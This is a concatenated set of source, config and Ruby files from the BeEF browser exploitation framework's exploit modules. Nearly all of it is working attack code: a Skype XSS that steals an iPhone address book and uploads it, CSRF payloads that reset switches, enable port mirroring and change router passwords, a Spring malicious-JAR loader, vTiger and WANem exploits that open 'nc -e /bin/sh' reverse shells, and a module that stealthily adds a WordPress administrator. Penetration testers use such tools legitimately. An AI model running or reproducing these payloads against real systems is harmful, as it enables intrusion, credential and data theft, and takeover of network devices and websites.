/cgi-bin/store/index.cgi /cgi-bin/survey.cgi /cgi-bin/sync.cgi /cgi-bin/talkback.cgi /cgi-bin/technote/main.cgi /cgi-bin/test2.pl /cgi-bin/test-cgi /cgi-bin/test.cgi /cgi-bin/testing_whatever /cgi-bin/test/test.cgi /cgi-bin/tidfinder.cgi /cgi-bin/tigvote.cgi /cgi-bin/title.cgi /cgi-bin/top.cgi /cgi-bin/traffic.cgi /cgi-bin/troops.cgi /cgi-bin/ttawebtop.cgi/ /cgi-bin/ultraboard.cgi /cgi-bin/upload.cgi /cgi-bin/urlcount.cgi /cgi-bin/viewcvs.cgi /cgi-bin/view_help.cgi /cgi-bin/viralator.cgi /cgi-bin/virgil.cgi /cgi-bin/vote.cgi /cgi-bin/vpasswd.cgi /cgi-bin/way-board.cgi /cgi-bin/way-board/way-board.cgi /cgi-bin/webbbs.cgi /cgi-bin/webcart/webcart.cgi /cgi-bin/webdist.cgi /cgi-bin/webif.cgi /cgi-bin/webmail/html/emumail.cgi /cgi-bin/webmap.cgi /cgi-bin/webspirs.cgi /cgi-bin/Web_Store/web_store.cgi /cgi-bin/whois.cgi /cgi-bin/whois_raw.cgi /cgi-bin/whois/whois.cgi /cgi-bin/wrap /cgi-bin/wrap.cgi /cgi-bin/wwwboard.cgi.cgi /cgi-bin/YaBB/YaBB.cgi /cgi-bin/zml.cgi /cgi-mod/index.cgi /cgis/wwwboard/wwwboard.cgi /cgi-sys/addalink.cgi /cgi-sys/defaultwebpage.cgi /cgi-sys/domainredirect.cgi /cgi-sys/entropybanner.cgi /cgi-sys/entropysearch.cgi /cgi-sys/FormMail-clone.cgi /cgi-sys/helpdesk.cgi /cgi-sys/mchat.cgi /cgi-sys/randhtml.cgi /cgi-sys/realhelpdesk.cgi /cgi-sys/realsignup.cgi /cgi-sys/signup.cgi /connector.cgi /cp/rac/nsManager.cgi /create_release.sh /CSNews.cgi /csPassword.cgi /dcadmin.cgi /dcboard.cgi /dcforum.cgi /dcforum/dcforum.cgi /debuff.cgi /debug.cgi /details.cgi /edittag/edittag.cgi /emumail.cgi /enter_buff.cgi /enter_bug.cgi /ez2000/ezadmin.cgi /ez2000/ezboard.cgi /ez2000/ezman.cgi /fcgi-bin/echo /fcgi-bin/echo /fcgi-bin/echo2 /fcgi-bin/echo2 /Gozila.cgi /hitmatic/analyse.cgi /hp_docs/cgi-bin/index.cgi /html/cgi-bin/cgicso /html/cgi-bin/cgicso /index.cgi /info.cgi /infosrch.cgi /login.cgi /mailview.cgi /main.cgi /megabook/admin.cgi /ministats/admin.cgi /mods/apage/apage.cgi /_mt/mt.cgi /musicqueue.cgi /ncbook.cgi /newpro.cgi /newsletter.sh /oem_webstage/cgi-bin/oemapp_cgi /page.cgi /parse_xml.cgi /photodata/manage.cgi /photo/manage.cgi /print.cgi /process_buff.cgi /process_bug.cgi /pub/english.cgi /quikmail/nph-emumail.cgi /quikstore.cgi /reviews/newpro.cgi /ROADS/cgi-bin/search.pl /sample01.cgi /sample02.cgi /sample03.cgi /sample04.cgi /sampleposteddata.cgi /scancfg.cgi /scancfg.cgi /servers/link.cgi /setpasswd.cgi /SetSecurity.shm /shop/member_html.cgi /shop/normal_html.cgi /site_searcher.cgi /siteUserMod.cgi /submit.cgi /technote/print.cgi /template.cgi /test.cgi /upload.cgi /userreg.cgi /users/scripts/submit.cgi /vood/cgi-bin/vood_view.cgi /Web_Store/web_store.cgi /webtools/bonsai/ccvsblame.cgi /webtools/bonsai/cvsblame.cgi /webtools/bonsai/cvslog.cgi /webtools/bonsai/cvsquery.cgi /webtools/bonsai/cvsqueryform.cgi /webtools/bonsai/showcheckins.cgi /wwwadmin.cgi /wwwboard.cgi /wwwboard/wwwboard.cgi
beef/modules/exploits/shell_shock_scanner/update-list
#!/bin/sh echo "[*] Deleting old shocker-cgi_list..." rm shocker-cgi_list echo "[*] Downloading latest shocker-cgi_list..." wget "https://raw.githubusercontent.com/nccgroup/shocker/master/shocker-cgi_list"
JavaScript
beef/modules/exploits/skype_xss/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { x = new XMLHttpRequest; x.open("get","file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb"); x.overrideMimeType("text/plain; charset=x-user-defined"); x.send(); x.onreadystatechange = function() { if(x.readyState == 4){ a = x.responseText || ""; ff=[]; mx=a.length; scc = String.fromCharCode; } for(var z = 0 ; z < mx ; z++){ ff[z] = scc(a.charCodeAt(z)&255); } b=ff.join(""); b=btoa(b); xp = new XMLHttpRequest; xp.open("post","http://example.com/upload.php",!0); xp.setRequestHeader("Content-Type","multipart/form-data;boundary=xxx,"); a = "--xxx\r\nContent-Disposition:form-data;name=\"media\";filename=\"ios.sqlitedb\"\r\nContent-Type:application/octet-stream\r\n\r\n"+b+"\r\n--xxx--"; xp.send(a); }; beef.net.send("<%= @command_url %>", <%= @command_id %>, 'SQL file sent'); });
YAML
beef/modules/exploits/skype_xss/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: skype_xss: enable: true category: "Exploits" name: "Skype iPhone XSS Steal Contacts" description: "This module will steal iPhone contacts using a Skype XSS vuln." authors: ["saafan"] target: working: ["ALL"]
Ruby
beef/modules/exploits/skype_xss/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Skype_xss < BeEF::Core::Command def post_execute # #Stub## save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/spring_framework_malicious_jar/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { jar_file = "<%= @jar_file %>"; form_controller = "<%= @form_controller %>"; uri = form_controller+"?class.classLoader.URLs[0]=jar:"+jar_file; var spring_iframe = beef.dom.createInvisibleIframe(); spring_iframe.setAttribute('src', uri); beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=exploit attempted"); cleanup = function() { document.body.removeChild(spring_iframe); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/spring_framework_malicious_jar/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: spring_framework_malicious_jar: enable: true category: "Exploits" name: "Spring Framework Malicious Jar Exploit" description: "Execute a malicious JAR file using the Spring Framework 'class.classloader' vulnerability (CVE-2010-1622).<br/>Specify the URL for a form controller on the target and the URL for your malicious JAR file.<br/>For more information see: http://www.exploit-db.com/exploits/13918/<br/><br/>Versions Affected:<br/>3.0.0 to 3.0.2<br/>2.5.0 to 2.5.6.SEC01 (community releases)<br/>2.5.0 to 2.5.7 (subscription customers)" authors: ["bcoles"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/spring_framework_malicious_jar/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Spring_framework_malicious_jar < BeEF::Core::Command def self.options [ { 'name' => 'form_controller', 'ui_label' => 'Form Controller URL', 'value' => 'http://target/path/to/form/controller' }, { 'name' => 'jar_file', 'ui_label' => 'Malicious JAR file URL', 'value' => 'http://attacker/path/to/attack.jar!/' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Hooked browser must be authenticated to switch. var base = '<%= @base %>'; var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [ { type: 'hidden', name: 'reset', value: 1 } ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(dlink_dgs_iframe); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/switch/dlink_dgs_1100_device_reset/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Dlink_dgs_1100_device_reset_csrf: enable: true category: ["Exploits", "Switch"] name: "DLINK DGS 1100-08 Device Reset CSRF" description: "Reset's everything on the device except for the IP address. Default password is 'admin'" authors: ["Nick Starke"] target: working: ["ALL"]
Ruby
beef/modules/exploits/switch/dlink_dgs_1100_device_reset/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dlink_dgs_1100_device_reset_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Hooked browser must be authenticated to switch. var base = '<%= @base %>'; var port = '<%= @port %>'; var mac = '<%= @mac %>'; var vlanid = '<%= @vlanid %>'; var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/mac_entry_add.cgi', 'POST', 'application/x-www-form-urlencoded', [ { type: 'hidden', name: 'fwdport', value: port }, { type: 'hidden', name: 'vid', value: vlanid }, { type: 'hidden', name: 'macaddr', value: mac } ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(dlink_dgs_iframe); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Dlink_dgs_1100_fdb_whitelist_csrf: enable: true category: ["Exploits", "Switch"] name: "DLINK DGS 1100-08 FDB Whitelist CSRF" description: "Adds a MAC Address to the FDB Static Unicast Whitelist." authors: ["Nick Starke"] target: working: ["ALL"]
Ruby
beef/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dlink_dgs_1100_fdb_whitelist_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90' }, { 'name' => 'port', 'ui_label' => 'Switch port to add MAC address access to', 'value' => '1' }, { 'name' => 'mac', 'ui_label' => 'MAC address to whitelist', 'value' => '00-00-00-00-00-00' }, { 'name' => 'vlanid', 'ui_label' => 'VLAN to add rule to', 'value' => '1' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Hooked browser must be authenticated to switch. var base = '<%= @base %>'; var totalports = parseInt('<%= @totalports %>'); var mirrorport = parseInt('<%= @mirrorport %>'); var mask = ''; for (var i = 1; i <= totalports; i++) { mask += i == mirrorport ? "0" : "1"; } var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/PortMirroring.cgi', 'POST', 'application/x-www-form-urlencoded', [ { type: 'hidden', name: 'cEn', value: 1 }, { type: 'hidden', name: 'sTagP', value: mirrorport }, { type: 'hidden', name: 'sMode', value: 2 }, { type: 'hidden', name: 'SrcLst', value: mask } ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(dlink_dgs_iframe); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Dlink_dgs_1100_port_mirroring_csrf: enable: true category: ["Exploits", "Switch"] name: "DLINK DGS 1100-08 Port Mirroring CSRF" description: "Enables port mirroring on a specified switch port" authors: ["Nick Starke"] target: working: ["ALL"]
Ruby
beef/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dlink_dgs_1100_port_mirroring_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90' }, { 'name' => 'mirrorport', 'ui_label' => 'Switch port to mirror traffic on', 'value' => 1 }, { 'name' => 'totalports', 'ui_label' => 'Total number of ports on switch', 'value' => 8 } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/switch/netgear_gs108t_csrf/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var base = '<%= @base %>'; var oldpassword = '<%= @oldpassword %>'; var newpassword = '<%= @newpassword %>'; var gs_iframe = beef.dom.createInvisibleIframe(); gs_login = function() { var d = new Date; var rtime = (d.getTime() / 500); gs_iframe.setAttribute('src', base+'login.cgi?passwd='+oldpassword+'&rtime='+rtime); } var gs108t_iframe = beef.dom.createInvisibleIframe(); gs_change_pwd = function() { gs108t_iframe.setAttribute('src', base+'password.cgi?inputBox_oldPassword='+oldpassword+'&inputBox_newPassword='+newpassword+'&inputBox_retypeNewPassword='+newpassword); } //login to create the cookie gs_login(); //wait some miliseconds and attempt to change the password setTimeout("gs_change_pwd()", 500); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(gs108t_iframe); document.body.removeChild(gs_iframe); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/switch/netgear_gs108t_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Netgear_gs108t_csrf: enable: true category: ["Exploits", "Switch"] name: "Netgear GS108T CSRF" description: "Attempts to change the password on a Netgear GS108T managed switch." authors: ["Bart Leppens"] target: working: ["ALL"]
Ruby
beef/modules/exploits/switch/netgear_gs108t_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Netgear_gs108t_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://192.168.0.239/' }, { 'name' => 'oldpassword', 'ui_label' => 'Old Password', 'value' => 'password' }, { 'name' => 'newpassword', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/vtiger_crm_upload_exploit/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // VtigerCRM <= 5.0.4 "chained exploitation" PoC // Hacked up for OWASP New Zealand Day, July 13th 2009 // // Thanks for the BeEF Wade :) // Ported to Ruby BeEF by xntrik 2010 beef.execute(function() { //Doing the same trick I used in detect_tor to ensure exploit runs once // xntrik if (document.getElementById('vtigerimg')) { //document.body.removeChild(document.getElementById('vtigerimg')); //beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!'); return "Exploit running already"; } var img = new Image(); img.setAttribute("style","visibility:hidden"); img.setAttribute("width","0"); img.setAttribute("height","0"); img.id = 'vtigerimg'; document.body.appendChild(img); baseurl = "<%= @vtiger_url %>"; function get_ajax() { var http_request; // use the ActiveX control for IE5.x and IE6 try { http_request = new ActiveXObject("MSXML2.XMLHTTP"); } catch (othermicrosoft){ try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (native) { // If IE7, Mozilla, Safari, etc: Use native object http_request = new XMLHttpRequest(); } } return http_request; } function do_upload(){ setTimeout(function() {ajax_upload()}, 1000); } // In a nutshell: // // 1) build url // 2) construct the request object // 3) POST the form // 4) once requestdone, call do_callfile() function ajax_upload(){ var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index'; var http_request; http_request = false; http_request = get_ajax(); if (!http_request) { // fail silently! return false; } //prepare the POST var boundaryString = 'PWNED'; var boundary = '-----------------------------PWNED'; var requestbody = boundary + '\r\n' + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n' + '\r\n' + 3000000 + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="return_module"' + '\r\n' + '\r\n' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="return_action"' + '\r\n' + '\r\n' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="return_id"' + '\r\n' + '\r\n' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n' + '\r\n' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="filename"; filename="<%= @mal_filename %>.<%= @mal_ext %>"' + '\r\n' + 'Content-Type: application/x-httpd-php' + '\r\n' + '\r\n' + '<%= @vtiger_php %>' + '\r\n' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n' + '\r\n' + '<%= @mal_filename %>.<%= @mal_ext %>' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n' + '\r\n' + 'drop it like its hot' + '\r\n' + boundary + '\r\n' + 'Content-Disposition: form-data; name="save"' + '\r\n' + '\r\n' + 'Attach' + '\r\n' + boundary; var uploadstate = 0; http_request.onreadystatechange = function() { if (http_request.readyState == 4) { if (http_request.status == 200) { uploadstate = 3; } else { uploadstate = 2; } } else { uploadstate = 1; } return; }; http_request.open("POST", targeturl, true); http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED"); http_request.setRequestHeader("Content-length", requestbody.length); http_request.send(requestbody); setTimeout(function() { if (uploadstate == 0) { //something went way wrong document.body.removeChild(document.getElementById('vtigerimg')); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload'); } else if (uploadstate == 1) { //we never got a response from the server document.body.removeChild(document.getElementById('vtigerimg')); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file'); } else if (uploadstate == 2) { //we got a response that was NOT a 200 document.body.removeChild(document.getElementById('vtigerimg')); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file'); } else if (uploadstate == 3) { //We got a 200, so hopefully the file was uploaded //be_graceful(); do_callfile(0, 1000); } },<%= @upload_timeout %>); return; } function do_callfile(start, count){ if (document.getElementById('vtigerimg') == null) { return false; } for (i=start;i<=start+count;i++) { var http_request = false; http_request = get_ajax(); if (!http_request) { // fail silently! return false; } var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_<%= @mal_filename %>.<%= @mal_ext %>"; var requestbody = "birds of a feather flock together"; http_request.open('POST', findurl, false); http_request.setRequestHeader("Content-length", requestbody.length); http_request.send(requestbody); if (http_request.status == 200) { document.body.removeChild(document.getElementById('vtigerimg')); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')'); return; } } return; } // Try the upload function do_main(){ do_upload(); return; } // Run the sploit do_main(); });
YAML
beef/modules/exploits/vtiger_crm_upload_exploit/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: vtiger_crm_upload_exploit: enable: true category: "Exploits" name: "VTiger CRM Upload Exploit" description: "This module demonstrates chained exploitation. It will upload and execute a reverse shell. The vulnerability is exploited in the CRM <a href=\"http://www.vtiger.com/\">vtiger 5.0.4</a><br />The default PHP requires a listener, so don't forget to start one, for example: nc -l 8888." authors: ["wade", "bm", "pipes", "xntrik", "yorikv"] target: working: ["ALL"]
Ruby
beef/modules/exploits/vtiger_crm_upload_exploit/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Vtiger_crm_upload_exploit < BeEF::Core::Command def self.options time = Time.new weekno = case time.day when 1..7 then 1 when 8..14 then 2 when 15..21 then 3 when 22..28 then 4 else 5 end @configuration = BeEF::Core::Configuration.instance beef_host = @configuration.beef_host [ { 'name' => 'vtiger_url', 'ui_label' => 'Target Web Server', 'value' => 'http://vulnerable-vtiger.site', 'width' => '400px' }, { 'name' => 'vtiger_filepath', 'ui_label' => 'Target Directory', 'value' => "/storage/#{time.year}/#{time.strftime('%B')}/week#{weekno}/", 'width' => '400px' }, { 'name' => 'mal_filename', 'ui_label' => 'Malicious Filename', 'value' => rand(32**10).to_s(32), 'width' => '400px' }, { 'name' => 'mal_ext', 'ui_label' => 'Malicious File Extension', 'value' => 'PHP', 'width' => '400px' }, { 'name' => 'vtiger_php', 'ui_label' => 'Injected PHP (must escape single quotes)', 'value' => "<?php passthru(\"/bin/nc -e /bin/sh #{beef_host} 8888\"); ?>", 'type' => 'textarea', 'width' => '400px', 'height' => '100px' }, { 'name' => 'upload_timeout', 'ui_label' => 'Upload Timeout', 'value' => '5000' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/wanem_command_execution/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var wanem_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); wanem_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+':'+rport+'/WANem/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20{nc,'+lhost+','+lport+',-e,/bin/sh}%26'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(wanem_iframe_<%= @command_id %>); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/wanem_command_execution/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ################################################################################ # For more information see: http://itsecuritysolutions.org/2012-08-12-WANem-v2.3-multiple-vulnerabilities/ ################################################################################ beef: module: wanem_command_execution: enable: true category: "Exploits" name: "WAN Emulator Command Execution" description: "Attempts to get a reverse root shell on a WAN Emulator server.<br/>Tested on version 2.3 however other versions are likely to be vulnerable." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/exploits/wanem_command_execution/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ################################################################################ # For more information see: http://itsecuritysolutions.org/2012-08-12-WANem-v2.3-multiple-vulnerabilities/ ################################################################################ class Wanem_command_execution < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance lhost = @configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/wifi_pineapple_csrf/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; var timeout = 15; var wifi_pineapple_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/components/system/configuration/functions.php?change_password", "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'password', 'value':passwd} , {'type':'hidden', 'name':'repeat', 'value':passwd}, {'type':'hidden', 'name':'change_password', 'value':'Change Password'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(wifi_pineapple_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); });
YAML
beef/modules/exploits/wifi_pineapple_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: wifi_pineapple_csrf: enable: false category: "Exploits" name: "WiFi Pineapple Root Password CSRF" description: "Attempts to change the root password on a WiFi Pineapple Mk5.<br/><br/>This module has not been tested." authors: ["n0x00"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/wifi_pineapple_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Wifi_pineapple_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://172.16.42.1:1417/' }, { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/wordpress_add_admin/command.js
// // Copyright (c) 2015 Daniel Reece - @HBRN8 // beef.execute(function() { function g(u){ x=new XMLHttpRequest(); x.open('GET',u,false); x.send(null); return x.responseText; } function p(u, b){ x=new XMLHttpRequest(); x.open('POST',u,true); x.setRequestHeader("Content-type","application/x-www-form-urlencoded"); x.send(b); return x.responseText; } /* Kept incase there is a valid reason to use forms over AJAX, I cant think of any. function post(path, params, method) { method = method || "post"; var form = document.createElement("form"); form.setAttribute("method", method); form.setAttribute("action", path); for(var key in params) { if(params.hasOwnProperty(key)) { var hiddenField = document.createElement("input"); hiddenField.setAttribute("type", "hidden"); hiddenField.setAttribute("name", key); hiddenField.setAttribute("value", params[key]); form.appendChild(hiddenField); } } document.body.appendChild(form); form.submit(); } */ var domail = '<%= @domail %>'; page = g("/wp-admin/user-new.php"); m = page.match(/\-user" value="(.*?)" \/><input/); beef.net.send("<%= @command_url %>", <%= @command_id %>, "CSRF nonce hijacked = " + m[1] + "\nCreating admin... (<%== format_multiline(@user + ':' + @pass) %>)"); var blob = "action=createuser" + "&_wpnonce_create-user=" + m[1] + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php" + "&user_login=<%== format_multiline(@user) %>" + "&email=<%== format_multiline(@email) %>" + "&first_name=<%== format_multiline(@fname) %>" + "&last_name=<%== format_multiline(@lname) %>" + "&url=<%== format_multiline(@url) %>" + "&pass1=<%== format_multiline(@pass) %>" + "&pass2=<%== format_multiline(@pass) %>"; if (domail){ //Wordpress will mail regardless of param value if it exists. blob = blob + "&send_password=1"; } blob = blob + "&role=administrator&createuser=Add+New+User"; p("/wp-admin/user-new.php", blob); /* Still cant think of any. post('/wp-admin/user-new.php', {action: 'createuser', '_wpnonce_create-user': m[1], _wp_http_referer: '%2Fwp-admin%2Fuser-new.php', user_login: '<%== format_multiline(@user) %>', email: '<%== format_multiline(@email) %>', first_name: '<%== format_multiline(@fname) %>', last_name: '<%== format_multiline(@lname) %>', url: '<%== format_multiline(@url) %>', pass1: '<%== format_multiline(@pass) %>', pass2: '<%== format_multiline(@pass) %>', send_password: '1', role: 'administrator', createuser: 'Add+New+User+'}); */ });
YAML
beef/modules/exploits/wordpress_add_admin/config.yaml
# # Copyright (c) 2015 Daniel Reece - @HBRN8 # beef: module: Wordpress_add_admin: enable: true category: "Persistence" name: "Wordpress Add Administrator" description: "This module stealthily adds a Wordpress administrator account" authors: ["hiburn8 @hbrn8"] target: working: ["ALL"]
Ruby
beef/modules/exploits/wordpress_add_admin/module.rb
# # Copyright (c) 2015 Daniel Reece - @HBRN8 class Wordpress_add_admin < BeEF::Core::Command def self.options [{ 'name' => 'user', 'ui_label' => 'Username:', 'value' => 'beef' }, { 'name' => 'pass', 'ui_label' => 'Pwd:', 'value' => [*('a'..'z'), *('0'..'9')].sample(8).join }, { 'name' => 'email', 'ui_label' => 'Email:', 'value' => '' }, { 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' }, { 'name' => 'url', 'ui_label' => 'Website:', 'value' => 'beefproject.com' }, { 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => 'beef' }, { 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => 'project' }] end def post_execute; end end
JavaScript
beef/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js
